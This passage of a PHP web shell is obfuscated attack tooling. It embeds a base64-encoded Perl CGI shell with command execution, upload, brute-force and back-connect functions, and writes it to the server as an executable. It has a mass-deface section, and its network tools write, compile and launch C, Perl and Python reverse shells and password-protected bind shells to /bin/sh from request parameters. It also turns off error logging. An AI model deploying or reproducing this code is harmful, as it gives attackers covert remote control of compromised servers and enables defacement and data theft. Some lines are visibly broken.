i4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoISRXaW5OVCkKCXsKCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJaWYoISgkY2htb2QgZXEgMCkpCgkJewoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7CgkJCSRmaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7CgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7CgkJCWlmKCZ0cmltKCRyZXN1bHQpIGVxICIiKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0KCQl9Cgl9CgkkcmVuYW1lPSRpbnsncmVuYW1lJ307CglpZighJHJlbmFtZSBlcSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfQplbHNpZigkQWN0aW9uIGVxICJ1cGxvYWQiKSAJCQkJCSMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZQcmludFBhZ2VIZWFkZXI7CgoJcHJpbnQgJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQKewoJJlByaW50UGFnZUhlYWRlcigiY2xpZW50cG9ydCIpOwoJcHJpbnQgJkJhY2tCaW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmQnJ1dGVGb3JjZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCXByaW50ICZEb3dubG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJjaGVja2xvZyIpIAkJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsb2cgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdMb2c7Cgp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluCnsKCSZQcmludFBhZ2VIZWFkZXI7CglwcmludCAmVmlld0RvbWFpblVzZXI7Cn1lbHNpZigkQWN0aW9uIGVxICJsb2dvdXQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQomUHJpbnRQYWdlRm9vdGVyOw==";
	$cgi = fopen($file_cgi, "w");
	fwrite($cgi, base64_decode($cgi_script));
	fwrite($htcgi, $isi_htcgi);
	chmod($file_cgi, 0755);
        chmod($memeg, 0755);
	echo "<br><center>Done ... <a href=\'priv_cgi/cgi.priv\' target=\'_blank\'>Click Here</a></div>";
	hardFooter();
}


// Mass Deface Section Start
function actionSql() {
	hardHeader();
	echo "<center><h1>Mass Tools</h1><div class=content><br>";
	
	echo "<br><center> <iframe src=\'?mas\' width=\'800\' height=\'450\'></iframe></a></div>";
	
	hardFooter();
}

// Mass Deface Section END

// Back COnnect SEction
function actionNetwork() {
	hardHeader();
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
	$pyy="IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<center><h1>Network tools</h1><div class=content>
	<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.port.value,this.pass.value);return false;\'><br>
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\'> Using: <label><select name=\'using\'><option value=\'bpp\'>Perl</option><option value=\'bpc\'>C</option></select></label> <input type=submit value=\'submit\'>
	</form><br>
	<form name=\'nfp\' onSubmit=\'g(null,null,this.using.value,this.server.value,this.port.value);return false;\'>
	<span>Back-connect to</span><br/>
	Server: <input type=\'text\' name=\'server\' value=". $_SERVER[\'REMOTE_ADDR\'] ."> Port: <input type=\'text\' name=\'port\' value=\'21\'> Using: <label><select name=\'using\'><option value=\'bcpy\'>Python</option><option value=\'bcp\'>Perl</option><option value=\'bcc\'>C</option></select></label> <input type=submit value=\'submit\'><br><br><br>
	</form><br>"; 
	if(isset($_POST[\'p1\'])) {
		function cf($f,$t) {
			$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
			if($w)	{
				@fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST[\'p1\'] == \'bpc\') {
			cf("/tmp/bp.c",$bind_port_c);
			$ = ex("gcc -o /tmp/bp /tmp/bp.c");
			@unlink("/tmp/bp.c");
			$ .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp")."</pre>";
		}
		if($_POST[\'p1\'] == \'bpp\') {
			cf("/tmp/bp.pl",$bind_port_p);
			$ = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bp.pl")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcc\') {
			cf("/tmp/bc.c",$back_connect_c);
			$ = ex("gcc -o /tmp/bc /tmp/bc.c");
			@unlink("/tmp/bc.c");
			$ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcp\') {
			cf("/tmp/bc.pl",$back_connect_p);
			$ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc.pl")."</pre>";
		}
		if($_POST[\'p1\'] == \'bcpy\') {
			cf("/tmp/bc.py",$back_connect_p);
			$ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
			echo "<pre class=ml1>$".ex("ps aux | grep bc.py")."</pre>";
          }
	}
	echo \'</div>\';
	hardFooter();
}

// Back Connect Section END 


if (isset($_REQUEST[\'mas\'])) {
    
@ini_set(\'error_log\', NULL);
@ini_set(\'log_errors\', 0);
@ini_set(\'max_execution_time\', 0);
@ini_set(\'output_buffering\', 0);
@ini_set(\'display_errors\', 0);
